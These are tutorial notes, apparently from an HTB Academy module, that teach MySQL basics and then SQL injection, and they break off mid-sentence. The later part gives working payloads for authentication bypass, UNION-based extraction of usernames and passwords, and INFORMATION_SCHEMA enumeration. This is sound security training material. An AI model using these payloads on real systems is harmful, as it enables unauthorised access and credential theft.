This content was extracted from HTB Academy

You should check SQLi Payloads šŸ¦Š for further attacks

Types of Databases

Relational Databases

A relational database is the most common type of database. It uses a schema, a template, to dictate the data structure stored in the database. For example, we can imagine a company that sells products to its customers having some form of stored knowledge about where those products go, to whom, and in what quantity. However, this is often done in the back-end and without obvious informing in the front-end. Different types of relational databases can be used for each approach. For example, the first table can store and display basic customer information, the second the number of products sold and their cost, and the third table to enumerate who bought those products and with what payment data.

Tables in a relational database are associated with keys that provide a quick database summary or access to the specific row or column when specific data needs to be reviewed. These tables, also called entities, are all related to each other. For example, the customer information table can provide each customer with a specific ID that can indicate everything we need to know about that customer, such as an address, name, and contact information. Also, the product description table can assign a specific ID to each product. The table that stores all orders would only need to record these IDs and their quantity. Any change in these tables will affect all of them but predictably and systematically.

However, when processing an integrated database, a concept is required to link one table to another using its key, called aĀ relational database management systemĀ (RDBMS). Many companies that initially use different concepts are switching to the RDBMS concept because this concept is easy to learn, use and understand. Initially, this concept was used only by large companies. However, many types of databases now implement the RDBMS concept, such as Microsoft Access, MySQL, SQL Server, Oracle, PostgreSQL, and many others.

For example, we can have aĀ usersĀ table in a relational database containing columns likeĀ id,Ā username,Ā first_name,Ā last_name, and others. TheĀ idĀ can be used as the table key. Another table,Ā posts, may contain posts made by all users, with columns likeĀ id,Ā user_id,Ā date,Ā content, and so on.

We can link theĀ idĀ from theĀ usersĀ table to theĀ user_idĀ in theĀ postsĀ table to retrieve the user details for each post without storing all user details with each post. A table can have more than one key, as another column can be used as a key to link with another table. So, for example, theĀ idĀ column can be used as a key to link theĀ postsĀ table to another table containing comments, each of which belongs to a particular post, and so on.

Note

The relationship between tables within a database is called a Schema.

This way, by using relational databases, it becomes rapid and easy to retrieve all data about a particular element from all databases. So, for example, we can retrieve all details linked to a specific user from all tables with a single query. This makes relational databases very fast and reliable for big datasets with clear structure and design and efficient data management. The most common example of relational databases isĀ MySQL, which we will be covering in this module.

Non-relational Databases

A non-relational database (also called aĀ NoSQLĀ database) does not use tables, rows, and columns or prime keys, relationships, or schemas. Instead, a NoSQL database stores data using various storage models, depending on the type of data stored. Due to the lack of a defined structure for the database, NoSQL databases are very scalable and flexible. Therefore, when dealing with datasets that are not very well defined and structured, a NoSQL database would be the best choice for storing such data. There are four common storage models for NoSQL databases:

  • Key-Value
  • Document-Based
  • Wide-Column
  • Graph

Each of the above models has a different way of storing data. For example, theĀ Key-ValueĀ model usually stores data in JSON or XML, and have a key for each pair, and stores all of its data as its value:

The above example can be represented using JSON as:

{
  "100001": {
    "date": "01-01-2021",
    "content": "Welcome to this web application."
  },
  "100002": {
    "date": "02-01-2021",
    "content": "This is the first post on this web app."
  },
  "100003": {
    "date": "02-01-2021",
    "content": "Reminder: Tomorrow is the ..."
  }
}

It looks similar to a dictionary item in languages likeĀ PythonĀ orĀ PHPĀ (i.e.Ā {'key':'value'}), where theĀ keyĀ is usually a string, and theĀ valueĀ can be a string, dictionary, or any class object.

The most common example of a NoSQL database isĀ MongoDB.

Note

Non-relational Databases have a different method for injection, known as NoSQL injections. SQL injections are completely different than NoSQL injections.

Intro to MySQL

Structured Query Language (SQL)

SQL syntax can differ from one RDBMS to another. However, they are all required to follow theĀ ISO standardĀ for Structured Query Language. We will be following the MySQL/MariaDB syntax for the examples shown. SQL can be used to perform the following actions:

  • Retrieve data
  • Update data
  • Delete data
  • Create new tables and databases
  • Add / remove users
  • Assign permissions to these users

Command Line

mysql -u root -p

When we do not specify a host, it will default to theĀ localhostĀ server. We can specify a remote host and port using theĀ -hĀ andĀ -PĀ flags.

mysql -u root -h docker.hackthebox.eu -P 3306 -p 

Note

The default MySQL/MariaDB port is (3306), but it can be configured to another port. It is specified using an uppercase P, unlike the lowercase p used for passwords.

Creating a database

Once we log in to the database using theĀ mysqlĀ utility, we can start using SQL queries to interact with the DBMS. For example, a new database can be created within the MySQL DBMS using theĀ CREATE DATABASEĀ statement.

CREATE DATABASE users;

MySQL expects command-line queries to be terminated with a semi-colon. The example above created a new database namedĀ users. We can view the list of databases withĀ SHOW DATABASES, and we can switch to theĀ usersĀ database with theĀ USEĀ statement:

mysql> SHOW DATABASES;
 
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| users              |
+--------------------+
 
mysql> USE users;
 
Database changed

Tables

DBMS stores data in the form of tables. A table is made up of horizontal rows and vertical columns. The intersection of a row and a column is called a cell. Every table is created with a fixed set of columns, where each column is of a particular data type.

A data type defines what kind of value is to be held by a column. Common examples areĀ numbers,Ā strings,Ā date,Ā time, andĀ binary data. There could be data types specific to DBMS as well. A complete list of data types in MySQL can be foundĀ here. For example, let us create a table namedĀ loginsĀ to store user data, using theĀ CREATE TABLEĀ SQL query:

CREATE TABLE logins (
    id INT,
    username VARCHAR(100),
    password VARCHAR(100),
    date_of_joining DATETIME
    );

As we can see, theĀ CREATE TABLEĀ query first specifies the table name, and then (within parentheses) we specify each column by its name and its data type, all being comma separated. After the name and type, we can specify specific properties, as will be discussed later.

mysql> CREATE TABLE logins (
    ->     id INT,
    ->     username VARCHAR(100),
    ->     password VARCHAR(100),
    ->     date_of_joining DATETIME
    ->     );
Query OK, 0 rows affected (0.03 sec)

The SQL queries above create a table namedĀ loginsĀ with four columns. The first column,Ā idĀ is an integer. The following two columns,Ā usernameĀ andĀ passwordĀ are set to strings of 100 characters each. Any input longer than this will result in an error. TheĀ date_of_joiningĀ column of typeĀ DATETIMEĀ stores the date when an entry was added.

mysql> SHOW TABLES;
 
+-----------------+
| Tables_in_users |
+-----------------+
| logins          |
+-----------------+
1 row in set (0.00 sec)

A list of tables in the current database can be obtained using theĀ SHOW TABLESĀ statement. In addition, theĀ DESCRIBEĀ keyword is used to list the table structure with its fields and data types.

mysql> DESCRIBE logins;
 
+-----------------+--------------+
| Field           | Type         |
+-----------------+--------------+
| id              | int          |
| username        | varchar(100) |
| password        | varchar(100) |
| date_of_joining | date         |
+-----------------+--------------+
4 rows in set (0.00 sec)

Table Properties

Within theĀ CREATE TABLEĀ query, there are manyĀ propertiesĀ that can be set for the table and each column. For example, we can set theĀ idĀ column to auto-increment using theĀ AUTO_INCREMENTĀ keyword, which automatically increments the id by one every time a new item is added to the table:

 id INT NOT NULL AUTO_INCREMENT,

TheĀ NOT NULLĀ constraint ensures that a particular column is never left empty ā€˜i.e., required field.ā€™ We can also use theĀ UNIQUEĀ constraint to ensures that the inserted item are always unique. For example, if we use it with theĀ usernameĀ column, we can ensure that no two users will have the same username:

 username VARCHAR(100) UNIQUE NOT NULL,

Another important keyword is theĀ DEFAULTĀ keyword, which is used to specify the default value. For example, within theĀ date_of_joiningĀ column, we can set the default value toĀ Now(), which in MySQL returns the current date and time:

date_of_joining DATETIME DEFAULT NOW(),

Finally, one of the most important properties isĀ PRIMARY KEY, which we can use to uniquely identify each record in the table, referring to all data of a record within a table for relational databases, as previously discussed in the previous section. We can make theĀ idĀ column theĀ PRIMARY KEYĀ for this table:

 PRIMARY KEY (id)

The finalĀ CREATE TABLEĀ query will be as follows:

CREATE TABLE logins (
    id INT NOT NULL AUTO_INCREMENT,
    username VARCHAR(100) UNIQUE NOT NULL,
    password VARCHAR(100) NOT NULL,
    date_of_joining DATETIME DEFAULT NOW(),
    PRIMARY KEY (id)
    );

SQL Statements

INSERT

TheĀ INSERTĀ statement is used to add new records to a given table. The statement following the below syntax:

INSERT INTO table_name VALUES (column1_value, column2_value, column3_value, ...);

The syntax above requires the user to fill in values for all the columns present in the table.

mysql> INSERT INTO logins VALUES(1, 'admin', 'p@ssw0rd', '2020-07-02');
 
Query OK, 1 row affected (0.00 sec)

The example above shows how to add a new login to the logins table, with appropriate values for each column. However, we can skip filling columns with default values, such asĀ idĀ andĀ date_of_joining. This can be done by specifying the column names to insert values into a table selectively:

INSERT INTO table_name(column2, column3, ...) VALUES (column2_value, column3_value, ...);

Note

Skipping columns with the ā€˜NOT NULLā€™ constraint will result in an error, as it is a required value.

We can do the same to insert values into theĀ loginsĀ table:

mysql> INSERT INTO logins(username, password) VALUES('administrator', 'adm1n_p@ss');
 
Query OK, 1 row affected (0.00 sec)

We inserted a username-password pair in the example above while skipping theĀ idĀ andĀ date_of_joiningĀ columns.

Warning

The examples insert cleartext passwords into the table, for demonstration only. This is a bad practice, as passwords should always be hashed/encrypted before storage.

We can also insert multiple records at once by separating them with a comma:

mysql> INSERT INTO logins(username, password) VALUES ('john', 'john123!'), ('tom', 'tom123!');
 
Query OK, 2 rows affected (0.00 sec)
Records: 2  Duplicates: 0  Warnings: 0

SELECT

Now that we have inserted data into tables let us see how to retrieve data with theĀ SELECTĀ statement. This statement can also be used for many other purposes, which we will come across later. The general syntax to view the entire table is as follows:

SELECT * FROM table_name;

The asterisk symbol (*) acts as a wildcard and selects all the columns. TheĀ FROMĀ keyword is used to denote the table to select from. It is possible to view data present in specific columns as well:

SELECT column1, column2 FROM table_name;

The query above will select data present in column1 and column2 only.

mysql> SELECT * FROM logins;
 
+----+---------------+------------+---------------------+
| id | username      | password   | date_of_joining     |
+----+---------------+------------+---------------------+
|  1 | admin         | p@ssw0rd   | 2020-07-02 00:00:00 |
|  2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
|  3 | john          | john123!   | 2020-07-02 11:47:16 |
|  4 | tom           | tom123!    | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+
4 rows in set (0.00 sec)
 
 
mysql> SELECT username,password FROM logins;
 
+---------------+------------+
| username      | password   |
+---------------+------------+
| admin         | p@ssw0rd   |
| administrator | adm1n_p@ss |
| john          | john123!   |
| tom           | tom123!    |
+---------------+------------+
4 rows in set (0.00 sec)

DROP

We can useĀ DROPĀ to remove tables and databases from the server.

mysql> DROP TABLE logins;
 
Query OK, 0 rows affected (0.01 sec)
 
 
mysql> SHOW TABLES;
 
Empty set (0.00 sec)

Warning

The ā€˜DROPā€™ statement will permanently and completely delete the table with no confirmation, so it should be used with caution.

ALTER

Finally, We can useĀ ALTERĀ to change the name of any table and any of its fields or to delete or add a new column to an existing table. The below example adds a new columnĀ newColumnĀ to theĀ loginsĀ table usingĀ ADD:

mysql> ALTER TABLE logins ADD newColumn INT;
 
Query OK, 0 rows affected (0.01 sec)

To rename a column, we can useĀ RENAME COLUMN:

mysql> ALTER TABLE logins RENAME COLUMN newColumn TO oldColumn;
 
Query OK, 0 rows affected (0.01 sec)

We can also change a columnā€™s datatype withĀ MODIFY:

mysql> ALTER TABLE logins MODIFY oldColumn DATE;
 
Query OK, 0 rows affected (0.01 sec)

Finally, we can drop a column usingĀ DROP:

mysql> ALTER TABLE logins DROP oldColumn;
 
Query OK, 0 rows affected (0.01 sec)

UPDATE

WhileĀ ALTERĀ is used to change a tableā€™s properties, theĀ UPDATEĀ statement can be used to update specific records within a table, based on certain conditions. Its general syntax is:

UPDATE table_name SET column1=newvalue1, column2=newvalue2, ... WHERE <condition>;

We specify the table name, each column and its new value, and the condition for updating records. Let us look at an example:

mysql> UPDATE logins SET password = 'change_password' WHERE id > 1;
 
Query OK, 3 rows affected (0.00 sec)
Rows matched: 3  Changed: 3  Warnings: 0
 
 
mysql> SELECT * FROM logins;
 
+----+---------------+-----------------+---------------------+
| id | username      | password        | date_of_joining     |
+----+---------------+-----------------+---------------------+
|  1 | admin         | p@ssw0rd        | 2020-07-02 00:00:00 |
|  2 | administrator | change_password | 2020-07-02 11:30:50 |
|  3 | john          | change_password | 2020-07-02 11:47:16 |
|  4 | tom           | change_password | 2020-07-02 11:47:16 |
+----+---------------+-----------------+---------------------+
4 rows in set (0.00 sec)

Query Results

Sorting Results

We can sort the results of any query usingĀ ORDER BYĀ and specifying the column to sort by:

SELECT * FROM logins ORDER BY password;
 
+----+---------------+------------+---------------------+
| id | username      | password   | date_of_joining     |
+----+---------------+------------+---------------------+
|  2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
|  3 | john          | john123!   | 2020-07-02 11:47:16 |
|  1 | admin         | p@ssw0rd   | 2020-07-02 00:00:00 |
|  4 | tom           | tom123!    | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+
4 rows in set (0.00 sec)

By default, the sort is done in ascending order, but we can also sort the results byĀ ASCĀ orĀ DESC:

mysql> SELECT * FROM logins ORDER BY password DESC;
 
+----+---------------+------------+---------------------+
| id | username      | password   | date_of_joining     |
+----+---------------+------------+---------------------+
|  4 | tom           | tom123!    | 2020-07-02 11:47:16 |
|  1 | admin         | p@ssw0rd   | 2020-07-02 00:00:00 |
|  3 | john          | john123!   | 2020-07-02 11:47:16 |
|  2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
+----+---------------+------------+---------------------+
4 rows in set (0.00 sec)

It is also possible to sort by multiple columns, to have a secondary sort for duplicate values in one column:

mysql> SELECT * FROM logins ORDER BY password DESC, id ASC;
 
+----+---------------+-----------------+---------------------+
| id | username      | password        | date_of_joining     |
+----+---------------+-----------------+---------------------+
|  1 | admin         | p@ssw0rd        | 2020-07-02 00:00:00 |
|  2 | administrator | change_password | 2020-07-02 11:30:50 |
|  3 | john          | change_password | 2020-07-02 11:47:16 |
|  4 | tom           | change_password | 2020-07-02 11:50:20 |
+----+---------------+-----------------+---------------------+
4 rows in set (0.00 sec)

LIMIT results

In case our query returns a large number of records, we canĀ LIMITĀ the results to what we want only, usingĀ LIMITĀ and the number of records we want:

mysql> SELECT * FROM logins LIMIT 2;
 
+----+---------------+------------+---------------------+
| id | username      | password   | date_of_joining     |
+----+---------------+------------+---------------------+
|  1 | admin         | p@ssw0rd   | 2020-07-02 00:00:00 |
|  2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
+----+---------------+------------+---------------------+
2 rows in set (0.00 sec)

If we wanted to LIMIT results with an offset, we could specify the offset before the LIMIT count:

mysql> SELECT * FROM logins LIMIT 1, 2;
 
+----+---------------+------------+---------------------+
| id | username      | password   | date_of_joining     |
+----+---------------+------------+---------------------+
|  2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
|  3 | john          | john123!   | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+
2 rows in set (0.00 sec)

Note

The offset marks the order of the first record to be included, starting from 0. For the above, it starts and includes the 2nd record, and returns two values.

WHERE Clause

To filter or search for specific data, we can use conditions with theĀ SELECTĀ statement using theĀ WHEREĀ clause, to fine-tune the results:

SELECT * FROM table_name WHERE <condition>;

The query above will return all records which satisfy the given condition. Let us look at an example:

mysql> SELECT * FROM logins WHERE id > 1;
 
+----+---------------+------------+---------------------+
| id | username      | password   | date_of_joining     |
+----+---------------+------------+---------------------+
|  2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
|  3 | john          | john123!   | 2020-07-02 11:47:16 |
|  4 | tom           | tom123!    | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+
3 rows in set (0.00 sec)

The example above selects all records where the value ofĀ idĀ is greater thanĀ 1. As we can see, the first row with itsĀ idĀ as 1 was skipped from the output. We can do something similar for usernames:

mysql> SELECT * FROM logins where username = 'admin';
 
+----+----------+----------+---------------------+
| id | username | password | date_of_joining     |
+----+----------+----------+---------------------+
|  1 | admin    | p@ssw0rd | 2020-07-02 00:00:00 |
+----+----------+----------+---------------------+
1 row in set (0.00 sec)

The query above selects the record where the username isĀ admin. We can use theĀ UPDATEĀ statement to update certain records that meet a specific condition.

LIKE Clause

Another useful SQL clause isĀ LIKE, enabling selecting records by matching a certain pattern. The query below retrieves all records with usernames starting withĀ admin:

mysql> SELECT * FROM logins WHERE username LIKE 'admin%';
 
+----+---------------+------------+---------------------+
| id | username      | password   | date_of_joining     |
+----+---------------+------------+---------------------+
|  1 | admin         | p@ssw0rd   | 2020-07-02 00:00:00 |
|  4 | administrator | adm1n_p@ss | 2020-07-02 15:19:02 |
+----+---------------+------------+---------------------+
2 rows in set (0.00 sec)

TheĀ %Ā symbol acts as a wildcard and matches all characters afterĀ admin. It is used to match zero or more characters. Similarly, theĀ _Ā symbol is used to match exactly one character. The below query matches all usernames with exactly three characters in them, which in this case wasĀ tom:

mysql> SELECT * FROM logins WHERE username like '___';
 
| id | username | password | date_of_joining     |
+----+----------+----------+---------------------+
|  3 | tom      | tom123!  | 2020-07-02 15:18:56 |
+----+----------+----------+---------------------+
1 row in set (0.01 sec)

SQL Operators

Sometimes, expressions with a single condition are not enough to satisfy the userā€™s requirement. For that, SQL supportsĀ Logical OperatorsĀ to use multiple conditions at once. The most common logical operators areĀ AND,Ā OR, andĀ NOT.

AND

TheĀ ANDĀ operator takes in two conditions and returnsĀ trueĀ orĀ falseĀ based on their evaluation:

condition1 AND condition2

The result of theĀ ANDĀ operation isĀ trueĀ if and only if bothĀ condition1Ā andĀ condition2Ā evaluate toĀ true:

mysql> SELECT 1 = 1 AND 'test' = 'test';
 
+---------------------------+
| 1 = 1 AND 'test' = 'test' |
+---------------------------+
|                         1 |
+---------------------------+
1 row in set (0.00 sec)
 
mysql> SELECT 1 = 1 AND 'test' = 'abc';
 
+--------------------------+
| 1 = 1 AND 'test' = 'abc' |
+--------------------------+
|                        0 |
+--------------------------+
1 row in set (0.00 sec)

In MySQL terms, anyĀ non-zeroĀ value is consideredĀ true, and it usually returns the valueĀ 1Ā to signifyĀ true.Ā 0Ā is consideredĀ false. As we can see in the example above, the first query returnedĀ trueĀ as both expressions were evaluated asĀ true. However, the second query returnedĀ falseĀ as the second conditionĀ 'test' = 'abc'Ā isĀ false.

OR

TheĀ ORĀ operator takes in two expressions as well, and returnsĀ trueĀ when at least one of them evaluates toĀ true:

mysql> SELECT 1 = 1 OR 'test' = 'abc';
 
+-------------------------+
| 1 = 1 OR 'test' = 'abc' |
+-------------------------+
|                       1 |
+-------------------------+
1 row in set (0.00 sec)
 
mysql> SELECT 1 = 2 OR 'test' = 'abc';
 
+-------------------------+
| 1 = 2 OR 'test' = 'abc' |
+-------------------------+
|                       0 |
+-------------------------+
1 row in set (0.00 sec)

The queries above demonstrate how theĀ ORĀ operator works. The first query evaluated toĀ trueĀ as the conditionĀ 1 = 1Ā isĀ true. The second query has twoĀ falseĀ conditions, resulting inĀ falseĀ output.

NOT

TheĀ NOTĀ operator simply toggles aĀ booleanĀ value ā€˜i.e.Ā trueĀ is converted toĀ falseĀ and vice versaā€™:

mysql> SELECT NOT 1 = 1;
 
+-----------+
| NOT 1 = 1 |
+-----------+
|         0 |
+-----------+
1 row in set (0.00 sec)
 
mysql> SELECT NOT 1 = 2;
 
+-----------+
| NOT 1 = 2 |
+-----------+
|         1 |
+-----------+
1 row in set (0.00 sec)

As seen in the examples above, the first query resulted inĀ falseĀ because it is the inverse of the evaluation ofĀ 1 = 1, which isĀ true, so its inverse isĀ false. On the other hand, the second was query returnedĀ true, as the inverse ofĀ 1 = 2Ā ā€˜which isĀ falseā€™ isĀ true.

Symbol Operators

TheĀ AND,Ā ORĀ andĀ NOTĀ operators can also be represented asĀ &&,Ā ||Ā andĀ !, respectively. The below are the same previous examples, by using the symbol operators:

mysql> SELECT 1 = 1 && 'test' = 'abc';
 
+-------------------------+
| 1 = 1 && 'test' = 'abc' |
+-------------------------+
|                       0 |
+-------------------------+
1 row in set, 1 warning (0.00 sec)
 
mysql> SELECT 1 = 1 || 'test' = 'abc';
 
+-------------------------+
| 1 = 1 || 'test' = 'abc' |
+-------------------------+
|                       1 |
+-------------------------+
1 row in set, 1 warning (0.00 sec)
 
mysql> SELECT 1 != 1;
 
+--------+
| 1 != 1 |
+--------+
|      0 |
+--------+
1 row in set (0.00 sec)

Multiple Operator Precedence

SQL supports various other operations such as addition, division as well as bitwise operations. Thus, a query could have multiple expressions with multiple operations at once. The order of these operations is decided through operator precedence.

Here is a list of common operations and their precedence, as seen in theĀ MariaDB Documentation:

  • Division (/), Multiplication (*), and Modulus (%)
  • Addition (+) and subtraction (-)
  • Comparison (=,Ā >,Ā <,Ā <=,Ā >=,Ā !=,Ā LIKE)
  • NOT (!)
  • AND (&&)
  • OR (||)

Operations at the top are evaluated before the ones at the bottom of the list. Let us look at an example:

SELECT * FROM logins WHERE username != 'tom' AND id > 3 - 2;

The query has four operations:Ā !=,Ā AND,Ā >, andĀ -. From the operator precedence, we know that subtraction comes first, so it will first evaluateĀ 3 - 2Ā toĀ 1:

SELECT * FROM logins WHERE username != 'tom' AND id > 1;

Next, we have two comparison operations,Ā >Ā andĀ !=. Both of these are of the same precedence and will be evaluated together. So, it will return all records where username is notĀ tom, and all records where theĀ idĀ is greater than 1, and then applyĀ ANDĀ to return all records with both of these conditions:

mysql> select * from logins where username != 'tom' AND id > 3 - 2;
 
+----+---------------+------------+---------------------+
| id | username      | password   | date_of_joining     |
+----+---------------+------------+---------------------+
|  2 | administrator | adm1n_p@ss | 2020-07-03 12:03:53 |
|  3 | john          | john123!   | 2020-07-03 12:03:57 |
+----+---------------+------------+---------------------+
2 rows in set (0.00 sec)

SQL Injections

SQLi Discovery

Before we start subverting the web applicationā€™s logic and attempting to bypass the authentication, we first have to test whether the login form is vulnerable to SQL injection. To do that, we will try to add one of the below payloads after our username and see if it causes any errors or changes how the page behaves:

PayloadURL Encoded
'%27
"%22
#%23
;%3B
)%29

Note

In some cases, we may have to use the URL encoded version of the payload. An example of this is when we put our payload directly in the URL ā€˜i.e. HTTP GET requestā€™.

OR Injection

We would need the query always to returnĀ true, regardless of the username and password entered, to bypass the authentication. To do this, we can abuse theĀ ORĀ operator in our SQL injection.

As previously discussed, the MySQL documentation forĀ operation precedenceĀ states that theĀ ANDĀ operator would be evaluated before theĀ ORĀ operator. This means that if there is at least oneĀ TRUEĀ condition in the entire query along with anĀ ORĀ operator, the entire query will evaluate toĀ TRUEĀ since theĀ ORĀ operator returnsĀ TRUEĀ if one of its operands isĀ TRUE.

An example of a condition that will always returnĀ trueĀ isĀ '1'='1'. However, to keep the SQL query working and keep an even number of quotes, instead of using (ā€˜1ā€™=ā€˜1ā€™), we will remove the last quote and use (ā€˜1ā€™=ā€˜1), so the remaining single quote from the original query would be in its place.

So, if we inject the below condition and have anĀ ORĀ operator between it and the original condition, it should always returnĀ true:

admin' or '1'='1

The final query should be as follow:

SELECT * FROM logins WHERE username='admin' or '1'='1' AND password = 'something';

Note

The payload we used above is one of many auth bypass payloads we can use to subvert the authentication logic. You can find a comprehensive list of SQLi auth bypass payloads inĀ PayloadAllTheThings, each of which works on a certain type of SQL queries.

Using Comments

Just like any other language, SQL allows the use of comments as well. Comments are used to document queries or ignore a certain part of the query. We can use two types of line comments with MySQLĀ --Ā andĀ #, in addition to an in-line commentĀ /**/Ā (though this is not usually used in SQL injections). TheĀ --Ā can be used as follows:

mysql> SELECT username FROM logins; -- Selects usernames from the logins table 
 
+---------------+
| username      |
+---------------+
| admin         |
| administrator |
| john          |
| tom           |
+---------------+
4 rows in set (0.00 sec)

Note

Ā In SQL, using two dashes only is not enough to start a comment. So, there has to be an empty space after them, so the comment starts with (ā€” ), with a space at the end. This is sometimes URL encoded as (ā€”+), as spaces in URLs are encoded as (+). To make it clear, we will add another (-) at the end (ā€” -), to show the use of a space character.

TheĀ #Ā symbol can be used as well.

mysql> SELECT * FROM logins WHERE username = 'admin'; # You can place anything here AND password = 'something'
 
+----+----------+----------+---------------------+
| id | username | password | date_of_joining     |
+----+----------+----------+---------------------+
|  1 | admin    | p@ssw0rd | 2020-07-02 00:00:00 |
+----+----------+----------+---------------------+
1 row in set (0.00 sec)

Tip

If you are inputting your payload in the URL within a browser, a (#) symbol is usually considered as a tag, and will not be passed as part of the URL. In order to use (#) as a comment within a browser, we can use ā€˜%23ā€™, which is an URL encoded (#) symbol.

Union Clause

Before we start learning about Union Injection, we should first learn more about the SQL Union clause. TheĀ UnionĀ clause is used to combine results from multipleĀ SELECTĀ statements. This means that through aĀ UNIONĀ injection, we will be able toĀ SELECTĀ and dump data from all across the DBMS, from multiple tables and databases. Let us try using theĀ UNIONĀ operator in a sample database. First, let us see the content of theĀ portsĀ table:

mysql> SELECT * FROM ports UNION SELECT * FROM ships;
 
+----------+-----------+
| code     | city      |
+----------+-----------+
| CN SHA   | Shanghai  |
| SG SIN   | Singapore |
| Morrison | New York  |
| ZZ-21    | Shenzhen  |
+----------+-----------+
4 rows in set (0.00 sec)

As we can see,Ā UNIONĀ combined the output of bothĀ SELECTĀ statements into one, so entries from theĀ portsĀ table and theĀ shipsĀ table were combined into a single output with four rows. As we can see, some of the rows belong to theĀ portsĀ table while others belong to theĀ shipsĀ table.

Note

The data types of the selected columns on all positions should be the same.

Even Columns

AĀ UNIONĀ statement can only operate onĀ SELECTĀ statements with an equal number of columns. For example, if we attempt toĀ UNIONĀ two queries that have results with a different number of columns, we get the following error:

mysql> SELECT city FROM ports UNION SELECT * FROM ships;
 
ERROR 1222 (21000): The used SELECT statements have a different number of columns

The above query results in an error, as the firstĀ SELECTĀ returns one column and the secondĀ SELECTĀ returns two. Once we have two queries that return the same number of columns, we can use theĀ UNIONĀ operator to extract data from other tables and databases.

For example, if the query is:

SELECT * FROM products WHERE product_id = 'user_input'

We can inject aĀ UNIONĀ query into the input, such that rows from another table are returned:

SELECT * from products where product_id = '1' UNION SELECT username, password from passwords-- '

The above query would returnĀ usernameĀ andĀ passwordĀ entries from theĀ passwordsĀ table, assuming theĀ productsĀ table has two columns.

Un-even Columns

We will find out that the original query will usually not have the same number of columns as the SQL query we want to execute, so we will have to work around that. For example, suppose we only had one column. In that case, we want toĀ SELECT, we can put junk data for the remaining required columns so that the total number of columns we areĀ UNIONing with remains the same as the original query.

For example, we can use any string as our junk data, and the query will return the string as its output for that column. If weĀ UNIONĀ with the stringĀ "junk", theĀ SELECTĀ query would beĀ SELECT "junk" from passwords, which will always returnĀ junk. We can also use numbers. For example, the queryĀ SELECT 1 from passwordsĀ will always returnĀ 1Ā as the output.

Note

When filling other columns with junk data, we must ensure that the data type matches the columns data type, otherwise the query will return an error. For the sake of simplicity, we will use numbers as our junk data, which will also become handy for tracking our payloads positions, as we will discuss later.

Tip

For advanced SQL injection, we may want to simply use ā€˜NULLā€™ to fill other columns, as ā€˜NULLā€™ fits all data types.

TheĀ productsĀ table has two columns in the above example, so we have toĀ UNIONĀ with two columns. If we only wanted to get one column ā€˜e.g.Ā usernameā€™, we have to doĀ username, 2, such that we have the same number of columns:

SELECT * from products where product_id = '1' UNION SELECT username, 2 from passwords

If we had more columns in the table of the original query, we have to add more numbers to create the remaining required columns. For example, if the original query usedĀ SELECTĀ on a table with four columns, ourĀ UNIONĀ injection would be:

UNION SELECT username, 2, 3, 4 from passwords-- '

This query would return:

mysql> SELECT * from products where product_id UNION SELECT username, 2, 3, 4 from passwords-- '
 
+-----------+-----------+-----------+-----------+
| product_1 | product_2 | product_3 | product_4 |
+-----------+-----------+-----------+-----------+
|   admin   |    2      |    3      |    4      |
+-----------+-----------+-----------+-----------+

As we can see, our wanted output of the ā€˜UNION SELECT username from passwordsā€™ query is found at the first column of the second row, while the numbers filled the remaining columns.

Union Injection

Detect the number of columns

' order by 1-- - #True
' order by 2-- - #True
' order by 3-- - #False

Now we can find the version:

' UNION select 1,@@version,3,4-- -

Database Enumeration

MySQL Fingerprinting

Before enumerating the database, we usually need to identify the type of DBMS we are dealing with. This is because each DBMS has different queries, and knowing what it is will help us know what queries to use.

As an initial guess, if the webserver we see in HTTP responses isĀ ApacheĀ orĀ Nginx, it is a good guess that the webserver is running on Linux, so the DBMS is likelyĀ MySQL. The same also applies to Microsoft DBMS if the webserver isĀ IIS, so it is likely to beĀ MSSQL. However, this is a far-fetched guess, as many other databases can be used on either operating system or web server. So, there are different queries we can test to fingerprint the type of database we are dealing with.

The following queries and their output will tell us that we are dealing withĀ MySQL:

PayloadWhen to UseExpected OutputWrong Output
SELECT @@versionWhen we have full query outputMySQL Version ā€˜i.e.Ā 10.3.22-MariaDB-1ubuntu1ā€™In MSSQL it returns MSSQL version. Error with other DBMS.
SELECT POW(1,1)When we only have numeric output1Error with other DBMS
SELECT SLEEP(5)Blind/No OutputDelays page response for 5 seconds and returnsĀ 0.Will not delay response with other DBMS

INFORMATION_SCHEMA Database

To pull data from tables usingĀ UNION SELECT, we need to properly form ourĀ SELECTĀ queries. To do so, we need the following information:

  • List of databases
  • List of tables within each database
  • List of columns within each table

With the above information, we can form ourĀ SELECTĀ statement to dump data from any column in any table within any database inside the DBMS. This is where we can utilize theĀ INFORMATION_SCHEMAĀ Database.

TheĀ INFORMATION_SCHEMAĀ database contains metadata about the databases and tables present on the server. This database plays a crucial role while exploiting SQL injection vulnerabilities. As this is a different database, we cannot call its tables directly with aĀ SELECTĀ statement. If we only specify a tableā€™s name for aĀ SELECTĀ statement, it will look for tables within the same database.

So, to reference a table present in another DB, we can use the dot ā€˜.ā€™ operator. For example, toĀ SELECTĀ a tableĀ usersĀ present in a database namedĀ my_database, we can use:

SELECT * FROM my_database.users;

Similarly, we can look at tables present in theĀ INFORMATION_SCHEMAĀ Database.

SCHEMATA

To start our enumeration, we should find what databases are available on the DBMS. The tableĀ SCHEMATAĀ in theĀ INFORMATION_SCHEMAĀ database contains information about all databases on the server. It is used to obtain database names so we can then query them. TheĀ SCHEMA_NAMEĀ column contains all the database names currently present.

Let us first test this on a local database to see how the query is used:

SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;
 
+--------------------+
| SCHEMA_NAME        |
+--------------------+
| mysql              |
| information_schema |
| performance_schema |
| ilfreight          |
| dev                |
+--------------------+
6 rows in set (0.01 sec)

Now, letā€™s do the same using aĀ UNIONĀ SQL injection, with the following payload:

cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -

Once again, we see two databases,Ā ilfreightĀ andĀ dev, apart from the default ones. Let us find out which database the web application is running to retrieve ports data from. We can find the current database with theĀ SELECT database()Ā query. We can do this similarly to how we found the DBMS version in the previous section:

